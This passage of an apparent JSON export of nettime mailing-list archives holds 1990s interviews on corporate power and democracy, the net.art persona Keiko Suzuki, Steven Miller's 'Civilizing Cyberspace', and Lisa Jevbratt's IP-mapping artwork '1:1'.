autonomous, especially\nin the Depression era. Eastern Europe as the prime example. Everybody did\nthis, everybody retreated behind the protectionst walls and yes they have \nbeen broken down in the last fifty years we reassembled a global trading \nsystem, but even now we are still not at the point we were at the\nbeginning of this century.\n\nMD: My question hangs in the air unanswered; your response to my question \nabout the extent in which corporate intervention and influence peddling and \nthe enormously long dark shadow of transnational corporate power pass inside \nthe beltway which effectively to my mind parries participatorydemocracy. \nThere is a growing feeling in America which gives rise to the Millitia \nMovement throwing a lever in a ballotbooth is essentially a sob for the \nmasses and that the real decisions made in the corridors of power have \neverything to do with pacts and corporate influence peddling and that that \nacts as a profilactic, a firewall against the real wills and desires \nexpressed by the people. Your response to that is that we first have to \nconcede that we are committed to the state, and the state is a really \nprofound influential entity; I would not deny that the state has a profound \ninfluence and still exercices an enourmous impact on the everydays lives of \ncitizenray e.g. in America. The point is that the state is evermore \nventriloquised by transnational corporate power. Let me give you a material \nexample; the recent telecommunication legislation in America. A statist, \nhighly interventionist radically deregulatory act. It is the issue that \ndraws all the heat and light from the Wired people because as libertarians \nthey are very concerned with individual rights; it is the Hide-amendment, \nthe so-called Communication Decency Act, which is a hairball! A fleetingly \nbrief mirage, a distraction! The real profound issue in there are the \nevisceration of common carriage, the roll back of the regulation that would \nprevent monopolies and given media markets. So this is statist intervention \nbut it is essentially the hamburgler handpuppet given out at McDonald \nplaylands, you know, so, it is operated by corporate power. The pincers of \nthe state close on our lives, but the people manipulating those indefectors \nare in fact a sort of Deakyanesque captains of consciousness of global \ncorporate power. It seems that you have to take that into account when you \nsort of robustly singing the athem of statism.\n\nVOTING\n\nRB: There is a very specific problem in American because fifty percent of \nthe population don't vote, it has to do with the very bizarre constitution \nthat you have that, as you can read in the Federalist papers, was designed \nto obstruct popular will. Hamilton makes it absolutely clear if you read \nwhat he says about it. So it is partly due to the American constitution, so \nyou need constitution reform, the end of the division between legislator and \nexecutive , proportionate representation, there is rather a number of \nmeasures, and even on a more profound level since Roosevelt there has \nnot been a political project in America wich is of a very consciously \narticulated social democratic value.  \n\nMD: That is a distant geographically removed, I think academically aloof \nanalysis of Why Americans aren't voting. If you descend to the ragtag and \nbobtail and ask them why they don't vote they don't say: We don't vote \nbecause we think the democratic project has been brought to its knees by too \nmuch seperation between legislative and executive branches. They say : I \ndon't vote because I feel it doesn't make a difference! I feel that there is \na profound disjunct, a disconnect, a rupture, a bifurcation between this \nimpotent, again, sob for the masses that I'm adoop a sort of a monkey on a \nunicycle performance kind of trained act that I play into the illusion of \ndemocratic participation when I doodively margin to the polling booth throw \nthe lever and think that that has a profound impact when in fact that impact \nhas largely been subverted by the real powers who have kind of woven their \ntendrils inside the beltway to the point where they have fenced out real \ndemocratic participation. It seems to me that the profilactics alternatives \npragmatics progressive solutions you propose don't address the real \ngut-level visceral embodied quotidian reasons that Americans en masse are \nsaying Don't Vote! They don't vote because it does not make a difference. To \nme it's a no-brainer that it doesn't make a difference because corporate \npower has unplugged participatory democracy by vast amounts of liquid \ncapital with which they flooded the halls of representative legislation. If \nyou're going to make the case for the nation state you've got to look who at \nthe end of th ecentury in terminal culture is evermore ventriloquising th \nenation state My position, my half-hearted animic endorsement of the nation \nstate has entirely to do, following that analysis with the notion that is \nthe last threadbear shopworn, flimsy profilactic evermore rickety firewall \nbetween us and the raging fireball of totally unconstraint corporate power \nthat will run rough-shot over individual liberty.\n\n\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "date": "Thu, 3 Oct 1996 10:37:58 +0200 (MET DST)",
                "to": "nettime-l {AT} desk.nl",
                "message-id": "199610030837.KAA18949 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9610/msg00010.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "nettime: barbrook/dery interview by willem van weelden"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00038",
                "content": "\nKeiko Suzuki has appeared in the net.art picture quite recently,\nthough she has been around ever since last year, when she\nappeared for the first time on a net.art hosts website. She is\nthe hostess and moderator of 7-11, the mailinglist for net.art\nand related bussiness. Her role there has caused quite some\nupheaval, as her identity is under constant 'attack' and subdued\nto many hijackings.\n\n\n > - Where are you from\nI am from small industrial town in the south of Japan. My\nfamily owned some business so I could travel.\n\n> - Since when are you an artist?\nI have been an artist for six years.\n\n> - Did you show your work in any offline galleries or spaces ever?\nI have done a few things, but art spaces are very boring and\neurope is not better that Japan. This East as you call it is\njust fine for me. I tried speaking to Andreas Broekmann\nabout it, but he was too busy.\n\n> - Did you visit Documenta and Hybrid Workspace?\nYes, just before it got into full swing. I didn't understand\nwhy would people meet and then work instead of play or enjoy\ntheir get-together in other ways. I like ice cream very much\nfor instance and have had lots of it in that town. (Hope you\ndon't think I am fat now)\n\n> - If yes, what did you think of it\nIts always worth remembering that form dominate content. So\nit lost due to its documenta context. Vuk did a good comment\nwith his pirate Dx website; it'll be on a cd in poland\nmaybe. Did you know this ?\n\n> - and why didn't you introduce yourself there?\nI chatted to some people, but I don't feel so important to\nintroduce myself formally. Like I told you, I prefere other\nplaces for introducing to people.\n\nI met a strange man called Geert with a distinctive laugh.\nHe probably won't remember me though, He was more interested\nin an Australian woman.\n\n > - Why this secrecy about your identity?\nI don't think there is secrecy, probably more confusion. My\nname is very common in Japan and also on The Net. I have\nmany home pages you know.\n\nIt is funny some people say that they are getting keiko\nidentification threats like if they were me.\n\nSure, some friends like to warm this up: Vuk was wearing\nKeiko nametag in Dessau for instance.\n\n> - How did you end up working with Ljudmila?\nI went to Ars Electronica 2 years ago, which I found very\nboring, where I bumped into the Ljudmila crew. They somehow\nseemed to prefer mensch uber machinen; i liked the red hair\nguy Luka. (keep your hands off him Natalie Jj)\n\n> - Why do you prefer Ljudmila over other institutions?\nI have attended many residency programmes, but they are\nmostly boring with the exception of Ljudmila. Ljudmila have\nthe best working and playing environment and they don't call\nit residency. They see it as art itself, which suits me.\n\n> - Is net.art your prime working ground, or do you do other\nthings as well ?\n\nMy image fits well with net.art. I do do other things, but\npeople choose to ignor them: curators/ theorists/ audience\nhave their own agendas. Its quite nice to have hidden areas\nof myself. Do you think a net.art audience would like\nnon-net.art. I doubt cause they want this and only this and\nthey think they're fast if net.art is fast.\n\n> - How would you describe net.art? There has been quite some\n> discussion about it, as you may know...\nIt is many things to many people. I like the immediacy and\ntransient nature of it, plus nobody controls my\ndistribution.\n\nI think I know the discussion from the nettime context and\nit seamed too dangerous to me. There were so many rough\ncorners in people's words; I was quiet then.\n\nI only spoke to people in voice, lot of it is in what they\nthen posted.\n\n> - what is the ultimate, most interesting aspect of net.art for you?\nI would like to turn all baggage into software. Net.art\noffers the techniques and institutional structures to do\nthis. Some day you will get mail about it.\n\n> - You seduce innocent men via a website and make them ridiculous by\n>showing their mail to you on the 7-11 mailinglist. What is the role\n>of sex in your work?\nAs in real life, sex is a big motivator on The Net, so I\noften use it as incentive or a disguise, but I sometimes\nconsider sexuality itself.\n\nConcerning the men made ridiculous, they moslty make\nthemselves foolish. I don't find comments like 'Hey babe, I\nwant to fuck you!' very imaginative and therefore not sexy.\n\nSometimes there are some subtle messages sent though, which\nI enjoy alot.\n\nSo the list is good for sexylife.org anyway.\n\n> - As a female Asian artist, did you ever encounter problems on\n>your travels or in working situations? (discrimination, sexism,\n>racism) I ask this because Shu Lea Chang was talking about this\n>not so long ago, after she had been to Documenta.\nFortunately, I fit often into the japanese female cyber punk\nrole: You can imagine me well in a shiny short dress and\nlarge silver trainers, with the latest pocket technology.\n\nNobody harasses that, everybody just loves you and I don't\nmind.\n\n> - You seem to have been accepted very easily in the circle of\n>net.artists and even are called the host of 7-11. How did you\n>manage to enter this slightly inbred/closed group so easily?\nI am not sure why. I met these people a few years ago and we\ngot along well.\n\nI sometimes suspect that I am useful for them but they are\nuseful to me also.\n\nAlso they're the nicest crowd around; did you meet alexei or\njodi ? They do things and get famous, while others only get\nfamous.\n\n> - Do you see any difference in art on the net from the States\n>and from Europe? Is there a difference between these and art\n>on the net from Japan?\nThere's no good net.art in states for me, or from japan:\nthere's just good or bad. Although, I like very much this\nhomework in california; it's maybe as sexy as californian\nideology. Do you know what I mean ?\n\n> - What are your plans for next year? Will you reveal yourself to\n> a larger audience on conferences or festivals for instance?\nMaybe a little, but my agent always reminds me that over\nexposure is death for an artist. I will do work though and\ngo festivals: that's for sure.\n\n> - Is there anything you would like to add to this interview,\n> something I did not ask you about?\nIts not true that I have had an affair with heath: I do like\nhim, but nothing else.\n\n-urls-\n\nhttp://www.ljudmila.org/7-11\n\nhttp://www.irational.org/pleasur/fucking.html\n\nhttp://www.nagoya-seiryo-chs.nishi.nagoya.jp/kids/8212/H16.HTM\n\n\n\n*\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sat, 29 Nov 1997 11:49:05 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "l03010d06b0a5b27241f0 {AT} [194.109.45.244]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9711/msg00038.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> interview with Keiko Suzuki"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00018",
                "content": "\nCivilizing Cyberspace\nAn Interview with Steven E. Miller\nby Geert Lovink\n\nSteven Miller's 'Civilizing Cyberspace' looks like an official manual\nfor net politics, published by big daddy Addison-Wesley. It covers all\nnon-technical aspects, like democracy and free speech, online ethics,\nuniversal service, privacy and encryption, creating communities,\nintellectual property and citizen action. It is written for a broad\naudience - no academic obscurities here. Each section is illustrated by\na interview with leading figures in the field. The book centers around\nthe relationship between the government's agenda, the marketplace and\nthe interest of the industries and the public interest. The state,\ncapital and the public all have their own visions on the\n'domestication' of cyber space (that's how I read the title at first).\nAn Internet culture needs to be established, it's wild aspects have to\nbe tamed. But Miller is no sociologist, rather a pragmatic activist,\nwho sees that there is an urgent need to act. No gambling here with\nproblematic notions like 'civilization' or 'the public'. It's time for\npositive models and getting our hands dirty.\n\nNeedless to say that this book only deals with the situation in the\nUSA. However, it has a different agenda than the techno-utopian cyber\nvisionaries that most Europeans associate with USA publications such\nas Wired. Steven Miller is currently on the board of Computer\nProfessionals for Social Responsibility (CPSR) which researches and\npresents a public interest perspective on the societal impacts and\nimplications of computer technology. Organizations like these are\nstill widely unknown throughout Europe, which is a good reason to push\nfor broad Euro-American dialogue and direct contacts beyond the Wired\ncircle. The interview was conducted in Munich, during the 'Internet &\nPolitics' conference, on February 19, 1997.\n\nGL: How did your analysis of the net evolve after you finished your\nbook in November 1995, and what have you been doing ever since?\n\nSM: The basic political analysis that I laid out in the book still\nholds. However, things change so quickly in this field that I'd like\nto update whole chapters to deal with the Telecommunications Reform\nAct, corporate mergers and some of the new technologies.\n\nI am still living in the tension between the humanistically possible\nand the terrifyingly probable. I still find too many people falling\ninto the techno utopian fantasy that the technology itself will\nautomatically make things happen for the good. But there is nothing\ninherent with the Internet that automatically leads to democracy. The\nChinese are finding ways to harness the Internet by turning the entire\nnation into a closed system, an Intranet. Giving people online access\nmay turn out to be a boobytrap for the Chinese government, but it is\ngoing to take a while. So the key is not trusting that the technology\nwill give us the gift of a positive future, but to think about a\npolitical strategy detailing how to build organizations that begin to\nembody the positive future we want.\n\nAfter spending two years living with the abstractions in the book, I\nfelt a real need to get very concrete, particularly about universal\nservice. How do we spread access, training and meaningful purpose,\noutside of the elite colleges and homes of the rich? I picked up on an\nidea that came out of California, from a guy named John Gage, called\nNetDay. I started an organization in Massachusetts, called\nMassNetworks, getting businesses to support volunteers who work with\nschools to build networks. My interest in focusing on schools partly\ncomes from my belief that the consumerist model of a computer in very\nhousehold will never happen. You've got to worth through mass\norganizations, local institutions, churches, girls and boys clubs,\nsoccer teams or schools.\n\nWe worked with 400 schools in October 1996. Across our state, over\n5000 volunteers came to the schools to help pull wires and set up\ncomputer sys tems. To get 5 computers in every class room, just in\nMassachusetts, could cost nearly a billion dollars. I don't see it\nhappening, but I want at least make sure that kids whose families\ncan't afford computers at home will at least have some access at\nschool.\nWe worked with the trade unions -- the Electrical Workers Union pulled\n30 miles of wires for schools in the inner-city of Boston, including\nsome very low income areas. We created a partnership with 3COM, SUN,\nLotus and IBM, another with the Bank of Boston. We got the teachers\ninvolved -- if they don't feel ownership of the whole effort they will\nsay 'Thanks' and never use it. \n\nPart of our goal was to help schools reconnect to their tax payers, to\ntheir community. We have to rebuild public trust in our public\ninstitutio ns. The conservatives have been successful in convincing\npeople that the government can't do anything well and the only\nsolution is to rid of the government. It's true that the public sector\ndoes lot of things wrong, but it is one of the few collective tools we\nhave available. If we give up on it, we are all left as individual\nconsumers. As a citizen I want to work through collective\ninstitutions, because only in that manner do I have a chance of helpi\nng shape the economy and the marketplace in ways that serve all of us\nfor the good.\n\nGL: In 'Civilizing Cyberspace' you refer frequently to the National\nInfor mation Infrastructure (NII), Al Gore's plan from 1992. What\nhappened with those plans? Have they been implemented or did they just\ndisappear?\n\nSM: In a certain way it is still there. Gore originally spoke about an\nupdated Internet, which he called the NREN, the National Research and\nEducation Network. However, as the election of 1992 came closer, his\nvision became more and more grandiose. So from a small academic network\nhe started talking about a transformative technology that would be a\nmotor for economic development. At some point it started to include\ntelevision and telephone and cable television and wireless. It was to\nbe a public infrastructure: just as the highways were build by the\ngovernment, the information highway would be build by the government.\n\nHowever, soon after Clinton and Gore got elected, they started calling\nit the National Information Infrastructure. But within months, as\ntheir political weakness became more apparent, they ran out of\npolitical steam. Essentially, the Republicans hijacked the vision and\nstarted pushing the ir argument about privatization and the market as\nthe savior of everything. The vision of the NII, which I call\ncyberspace, turned out to be a series of strategies about unleashing\nthe private sector. But what is a national infrastructure in that,\nbesides a bunch of subsidies and deregulatory laws?\n\nIronically, they've now turned back to the original idea and\nappropriated funding to build that original, high speed education\nnetwork, six or eight different universities that are connecting. The\ncurrent idea is to build the NREN for the academic community, but as\nsoon as the technology is shown to work they will spin it off into the\nprivate sector.\n\nGL: There is this notion of the public sphere within cyberspace as a\nthird space, in-between state owned networks on the one side and\ncommercial zones on the other. One could think of community networks,\npublic terminals, bringing libraries on-line, free content and a\nreincarnation of public broadcasting. How is the current debate in the\nUS about this idea of the public?\n\nSM: The problem in the US is that on the national government level\nthere really isn't much discussion anymore about public space. While\nthe rhetoric proclaims boundless benefits for everyone, the actual\npolicy is simply 'let the market go'. But in Europe you do have a\nchance to have the public sector either build or powerfully shape the\ninfrastructure. Part of what you miss in Europe is the entrepreneurial\npart of the market. The US has lot of entrepreneurialism but no solid\npublic core. What we both have to come to is a meeting ground. The\nrole for the public sector is to shape the market so that the\ntransmission system, the wires and the wireless, is solid and\nbroadband, accessible and affordable for all. Where you want to have\nopen competition is in the equipment and the switching protocols you\nuse at either end.\n\nThe public sector should also subsidize and pay for noncommercial\ncontent. You can't leave the content sector up the private sector,\nbecause all they will give you is commercial manipulation. At the same\ntime you can't leave it up to the state, because all that will give you\nis boring burea ucracy and safe conservatism. You need to figure out a\nfunding mechanism, either through the tax system or through the\ncommercial system, that diverts a steady revenue stream into\nindependent community content creation. We cannot relate to this as\nindividual consumerism, you need community organizations. So the\nchallenge for all of us how to create a revenue flow that creates\nnon-commercial content.\nCreating a positive future is going to require a combination of\ndifferent strategies, a hybrid. It is not private sector, it is not\npublic sector, not community networks. We are going to have our hands\nvery dirty and start struggling. Because experience has already shown\nthat any pure method fails.\n\nGL: The inherent, pragmatic and radical net criticism we are trying\ndevelop deals with the ideological premises within the software and\ntries to understand the underlying political and cultural patterns.\nCould you tell us something about net criticism in the US from your\npoint of view?\n\nSM: There is a fine line you have to walk. In the US, net idealism is\nthe dominant flavor. 'Let the market go and it will bring us the\nfuture. And the future will be wonderful.' When you critique that, you\ngot to be careful not to let yourself become associated with the\npeople saying that technology is all bad. What I try to do is imbed my\ncriticism in positive formulations, how it can be a tool for community\nbuilding, small scale economic development, democratic movements. It is\nnot enough to say that Wired magazine is wrong. We should not cut\nourselves off from the future. There are many people who critique\nwithout rejecting the possibilities the net culture brings. Think of\nGary Chapman, who used to work for the Computer Professionals for\nSocial Responsibility and now works with the 21st Century Project out\nof Austin, Texas. Or a guy named Dick Sclove, who works for the Loka\nInstitute in Amherst, Massachusetts. They both talk about\ndemocratizing the technology development process. Phil Agree, working\nout of the University of California at San Diego, has some of the most\nincisive critiques of how the conservative movement is using\ntelecommunication as a tool for public relation and building a cult\nural movement. I think we have to do the same. There isn't a magazine\nset up to serve that and maybe there should be.\n\nGL: We found out that a net critique should also come with some\ningredients for a political economy of the telecom business. Did you\nhave the same experience?\n\nSM: There are some many layers to the business. One layer is about the\norganization of production and we tend to forget this one, how giant\ncorporations use computer networks to rationalize and restructure\ntheir productive methodology internally, so that they can have a\ngreater span of control for their top managers, so that they can get\nrid of the middle layer of managers and push decision making down,\nwithout letting go of control . Or how they can transform their\nproduction processes, with parts in Malaysia, Japan, Brazil or the UK.\nIt is also a mechanism of coordination between corporations. EDI --\nElect ronic Data Interchange -- where they order and pay and talk to\neach other about buying and selling electronically. This is a driving\nforce behind the industry. Ignoring this is a myopic short sightedness\nof the Internet community.\n\nInstead, we are entranced by another layer. Telecommunications is also\nabout culture. It is a culture industry, with movie stars. It's sexy\nand we like that. If we are doing a political economy of the culture\nindustry we have to understand that it is not a product in the usual\nsense. It is about people's understanding of the world: what is real\nand what is desirable, what is possible and what is important.\nSimilarly, telecommunications is about human communication and\nsociability. Who do we talk to, how often, about what. The technology\nimpacts this, too.\nThere is something strange about the nature of information. You don't\nuse it up. If I have an idea, you can have the same idea, but if I have\na hamburger, you can't eat it also. How do you get unique profit out\nof the same information -- by creating barriers to usage through\nintellectual property. But at the same time there is what has been\ncalled the law of increasing returns. In heavy industry, profit\nmargins of pioneering firm s tend to drop over time as other firms\ndevelop their own technological expertise. In the information economy,\nthe people who first establish a powerful and secure niche continue to\nenjoy high and growing competitiv e advantage. Those who are ahead\nbecome further ahead and their profit margins increase. This has\nprofound implications for the international impact of the inform ation\neconomy and how Africa, South America and Asia are going to fit in.\n\nThe good news is that this field is evolving so fast that no one is\nquite sure how to put together a winning strategy that trumps everyone\nelse. Hundreds of millions of dollars are being wasted on projects\nthat are abandoned. The obvious one is the Microsoft Network, where\nthey spent a lot of money and threw it all out. AT&T set up a whole\nnetwork system, it's dead. And the company that bought it has just\nclosed it. Business leaders aren't sure what to do, but they are\nscared to be left out. They are investing in everything that comes\nalong. One might work and if they are not there first, they are lost.\n\nI think that the underlying driver is the desire to create vertically\nand horizontally integrated marketing machine. Vertically, the idea is\nfor one company to own the entire profit chain from idea to production,\nfrom distribution to sale, and even the reception of the product by the\nconsumer. A model for that would be the cable television industry. The\ncable company controls the pipe to your house and because of this\nmonopoly they have been able to extend their power back into the\ncreating of content. So now they own the channels that they then carry.\nThey also own the box that goes on your TV so that you can't get a\nsignal from any place else. That's vertical control, from creation to\nreception.\n\nThere are two types of horizontal integration: one is within a\nparticular medium. You have the cable giant TCI buying out dozens of\ndozens of othe r cable companies. This means that anyone who wants to\nhave access to America has to go to them. Until recent, people thought\nthat the cable industry would be so desperate for content that they\nwould pay money to content providers of every type. Diversity would\nreign. What happened is the exact opposite, because the cable firms\nstill control the gateway into the home, content producers now have to\npay them for the privilege of being carried.\nThe second horizontal integration would be the merging of different\nindus tries, where you have cable buying out telephone companies, or TV\nnetworks buying out movi e studios. The diving force is to gather\ntogether all various methods of transmitting images to the consumer.\n\nGL: We are now thinking how an update of the majordomo software for\nmailing lists should look like. A combination perhaps of the web with\nelements of the BBS in order to make threads and more complex forms of\ndiscussion visible. How does this compare with recent developments in\nthe 'free' software branch in the US?\n\nSM: There is not a long story to tell. Netscape and Internet Explorer\nhave dominated people's visualization of what the web is. The people\nwho tried to come up with alternatives have been marginalized. Allen\nShaw from MIT, who works at the AI-lab, has been working with low\nincome communit ies in the housing projects, trying to build an\ninterface that allows women on welfare to run a local server. There is\na group called TERC in Cambridge (Massachusetts) that has been putting\ntogether it's own version of interfaces that is mostly for school use.\nBut I have not seen too many alternative approaches reach the mass\nmarket. This defeat has to do with our success. When the net started it\nwas a very small community. Hackers knew how to produce an interface\nfor that community and it evolved and it grew. But now we want to\nexpand to have non-hacker communitie s be part of the discussion. Most\nthe hackers have been seduced by all the money to be made by going into\nbusiness. But even the ones who want to do good... how do we support\nthem and integrate them into the new communities? You can't come up\nwith an interface just out of your mind. An interface is a social\ninteraction. It is not a gift, it is a joint creaton.\n\nSteven E. Miller, Exec. Dir., Mass NetDay: netday {AT} meol.mass.edu\nhttp://massnetworks.org\nSteven E. Miller, Civilizing Cyberspace, Policy, Power and the\nInfromation Superhighway, ACM Press/Addison-Wesley, New York, 1996.\nISBN 0-201-84760-4\n\u001a\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "date": "Wed, 5 Mar 1997 09:53:49 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199703050853.JAA08556 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00018.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "nettime: Civilizing Cyberspace/Interview with Steven E. Miller"
            },
            {
                "content-type": "text/plai",
                "from": "Tilman Baumgaertel <tilman_baumgaertel {AT} csi.com>",
                "id": "00094",
                "content": "\nin german  {AT} :\nhttp://www.heise.de/tp/deutsch/inhalt/sa/3483/1.html\n\nA lot of effort to say nothing...\n\nInterview with Lisa Jevbrett \n\nTilman Baumg\u00e4rtel \n\n\nOnly very net art piece deal with and questions the technical\ninfrastructure of the internet as radical as \"1:1\" \n(http://cadre.sjsu.edu/jevbratt/c5/onetoone/) by Lisa Jevbrett\n(http://cadre.sjsu.edu/jevbratt/). \"1:1\" is not webart, not a clever art\nhomepage, not surface design. The piece is accessible over a web\ninterface, but that is just to access the piece that is about the\ninfrastructure of the decentral net work, with the IP Numbers and the\nservers. \"1:1\" is kind of a net critique in praxi, because it is not just\na critical reflection of the internet form the outside, but actually\nenters the net in order to understand it \"from the inside out\". \n\nA net art pices that deals with I.P. Adress - sounds liek an academic,\ninaccessible work. But actually \"1:1! is easy to understand, once you know\nwhat an IP number is. \"1:1\" is not the first piece by Lisa Jevbrett, that\nis less interested with the surface of the internet, but rather what's\nbehind it. The swede, that teaches at the CADRE Institute\n(http://cadre.sjsu.edu/) at the San Jose State University and is part of\nthe \"c5\"-collektive (http://www.c5corp.com), tackeled rather structures\nthan \"content in all of her projects\n(http://www.c5corp.com/personnel/projects.shtml#lisa): her \"Stillman\nProjekt\" (http://www.walkerart.org/stillmanIndex.html), that was\ncomissioned by the Walker Institute of the Arts in Minneapolis, made the\n\"cata traces\" visible, that ever surfer left on the homepage of the\nmuseum, her \"Non-Site\"-gallery (http://cadre.sjsu.edu/non-site/) hosts\nerror message form the server of the CADRE Instituts.\n\nIn the works of Lisa Jevbrett, the self-referentiality of net art is taken\nto the extreme, which paradoxically gives them a added relevance. \"1:1\" is\nexclusively about the medium of net art, the internet, but it is not l'art\npour l'art; it is an art work and a tool for research at the same time. \n\n\n\nTilman Baumgaertel: Could you briefly explain how your piece \"1:1\" works? \nTechnically and conceptually? How did you come up with the idea? \n\nLisa Jevbrett: The project consists of a constantly growing database of IP\naddresses and five interfaces to the database. The IP addresses in the\ndatabase are addresses to web servers. The project uses softbots to find\nout whether an IP address corresponds to a web server or not (most IP\naddresses don't), if it does, it stores the address in the database along\nwith information about whether the server allowed access or not. All\npossible IP addresses will be searched eventually to include all existing\nweb servers in the database. The interfaces provide five different ways of\naccessing the web through the database. The interfaces also serve as\nvisualizations of the web. Two of the interfaces link to all IP addresses\nin the database from one image map, one provides random access to the\ndatabase/the web and two allow the user to experience the IP space as an\nhierarchical structure. \n\n?: A pretty idiosyncratic concept. How did you come up with the idea? \n\nJevbrett: We (C5) were developing the project \"16 Sessions\" for The Walker\nArt Center that needed a way of accessing sites on the web in a numerical\nmanner in order to map data of physical interactions onto networked space. \nI started to generate a database of IP addresses to use in that process\nand realized that there was something humorous and poetic with one web\npage aiming to link to all servers on the web. It is humorous in its\nhubris and how it is not acknowledging the web as a hypertextual space. A\nvery time consuming project - it will obviously never be completed since\nthere are new servers added to the web every second - that (on the\nsurface) doesn't care about the metaphors, the understanding and the\nidentified issues of the web, such as information overload,\ncategorization, identity etc. A lot of effort to say \"nothing\". And in the\nsame time I saw it as poetic because of its this hubris, like a medieval\nmap maker trying to fathom an unexplored continent, or a renaissance\nastronomer aiming to clearly describe our existence. The enormous amount\nof information involved could give the idea a sublime - a la Kant -\nquality.\n\n?: Do you see \"1:1\" more a technical research project or as an art work? \n\nJevbrett: I see it as an artwork that examines the implications of a\ntechnical structure and by doing that it is somewhat a technical research\nproject as well. To me it is interesting as art because of how it\npositions itself as both art and research. \n\n?: How much time did you spend on programming the piece? Did you have any\nprofessional programmer working on it with you? \n\nJevbrett: I spend a lot of time on programming. Maybe I would be faster if\nI actually knew programming from the ground up. I started working on the\nproject in January, but I didn't get to spend all my time on it until this\nSummer. I love coding and my ideas are developed in the process, so it is\nvery valuable for me to do it myself.\n\n?: A lot of your work seems to focus on the technical infrastructure of\nthe internet rather then on the design of sites or surfaces. Why? \n\nJevbrett: As an artist I have always been more interested in underlying\nstructures and relationships than personal expression or experience. The\ninternet is an environment that makes the non-existence of a distinction\nbetween structure and content obvious. Following the thoughts of Pierre\nLevy I don't think it is possible to do interesting work by focusing on\n\"content\" in this environment.\n\nI think \"The Stillman Project\" and \"1:1\" are focusing on quite different\ntypes of structures, however. Stillman is concerned with conceptual\nstructures by making explicit the traces left by peoples navigation\nthrough a web site. It is clearly working with the metaphors and issues of\nthe web that we have defined as valid or important. \"1:1\" does not care\nabout how anyone perceives the structure or the information - except for\none interface: \"petri\" which borrows a Stillman strategy.\n\n?: I guess to some extent you can't foresee how a project like \"1:1\" \ndevelops. Were you surprised by the results you got, for example the many\n\"invisible\" servers, that consist of nothing but cryptic messages or\npassword slots? \n\nJevbrett: Yes, I was very surprised. That was one of the reasons for why\nit turned into a project. When I was first harvesting IP addresses for the\n\"16 sessions\" project I saw it as a problem that the database would\nconsist of mostly inaccessible or undeveloped sites and was considering\nthe elimination of those sites from the database. Then I realized that\nthis was a new picture of the web and as such very interesting.\n\n?: I understand that your piece was shown in an exhibition. How did you\nshow it in \"real space\"? \n\nJevbrett: It is difficult to display net art in a gallery because the\naudience might not even be familiar with what a web browser is. They don't\n\"find\" the piece because all they see is \"computer\". While using the\ngallery to make the project something more than a net art piece could be\ninteresting, we at c5 decided to use the space to create easy and clear\naccess to the project. I wanted to create an inviting setup that would\nmake people feel at home sitting down for a long time, just clicking\naround. We had five sgi's stacked in the middle of a big round table\npainted in a benign baby blue color. Around the table were five monitors\nand keyboards each displaying one of the interfaces. By using one computer\nfor each interface we were hoping to make the project less confusing in\nterms of navigation. Each computer allowed for one kind of navigation:\naccessing the web through the interface, it did not allow the user to\nnavigate between the interfaces.\n\n?: One way to look at the piece is not to focus on the IP idea, but rather\nconsider the workings of the softbot as kind of a chance operation to\ngenerate an image. Can you talk a little bit about your \"design choices\" \nfor the interfaces? \n\nJevbrett: Design decisions are difficult and uninteresting to me unless\nthey have a conceptual basis. I admire people who can make things look\ncool, I know it demands a certain sensibility which I probably don't have,\nbut I don't think \"designing\" is an interesting art strategy. I have two\nmain ways of determining look, either I make things that assume the\naesthetics of something known by simulating the functionality and feeling\nof it, the interface \"Hierarchical\"  is a good example of that - it is\naiming to look like \"raw\" directory navigation. Or I come up with an idea\nfor a system that produces a visual output and I go with it if the output\nsurprises me, that's how the interface \"Every\" was made. \n\n?: Interestingly the same time you came out with your piece, there were a\nnumber of studys of the \"size\" of the internet, and some of them focused\non the number of servers. So apprently there is a need to \"map\"\ncyberspace, yet all the maps that are there (including yours) prove that\n\"the map is not the territory\". Would you say that \"1:1\" is about the\nfutility of this kind of \"cybergeography\"? \n\nJevbratt: Just as a painting always says something about all other\npaintings, any Internet mapping says something about all other Internet\nmappings. \"1:1\" certainly plays with the attempts to contain the web. The\ndifference between \"1:1\" and the mapping efforts you are talking about is\nthat \"1:1\" provides ways to experience the web while the other ones are\n\"only\" visualizations of the web.\n\n\n...................\nI think, \nand then I sink\ninto the paper \nlike I was ink.\nEric B. & Raakim: Paid in full\n\nDr. Tilman Baumgaertel, email: tilman {AT} thing.de\nMY HOMEPAGE HAS MOVED!!! http://www.thing.de/tilman\n\nCurrent Activities:\nhttp://www.mikro.org/rohrpost/\nhttp://www.BerlinOnline.de/aktuelles/berliner_zeitung/multimedia/\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Fri, 11 Feb 2000 22:07:03 +0100",
